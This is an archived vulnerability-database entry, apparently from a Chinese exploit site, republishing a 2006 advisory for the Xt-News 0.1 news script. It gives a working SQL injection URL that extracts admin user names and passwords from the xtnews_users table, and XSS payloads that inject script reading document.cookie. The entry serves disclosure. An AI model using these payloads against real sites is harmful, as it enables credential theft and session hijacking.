Xt-News 0.1 : SQL Injection Vulnerability & XSS

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1053075 漏洞类型
发布时间 2006-12-29 更新时间 2006-12-29
CVE编号 CVE-2006-6746
CVE-2006-6747
CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2006120126
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
Xt-News 0.1
-----------
Vendor site: http://dreaxteam.free.fr/forums/
Product: Xt-News 0.1
Vulnerability: SQL Injection Vulnerability & XSS
Credits: Mr_KaLiMaN
Reported to Vendor: 10/12/06
Public disclosure: 22/12/06
 
Description:
------------
SQL Injection Vulnerability:
http://[victim]/[script_news_path]/show_news.php?id_news=[SQL INJECTION]
http://[victim]/[script_news_path]/show_news.php?id_news=-1 UNION SELECT id,user,null,null,mdp,null,null,null,null,null,null FROM xtnews_users WHERE admin=1#

XSS:
http://[victim]/[script_news_path]/add_comment.php?id_news=[XSS]
http://[victim]/[script_news_path]/add_comment.php?id_news="><script>ale
rt(document.cookie)</script><foo "
http://[victim]/[script_news_path]/show_news.php?id_news=[XSS]
http://[victim]/[script_news_path]/show_news.php?id_news='><script>alert
(document.cookie)</script><foo '

-------------------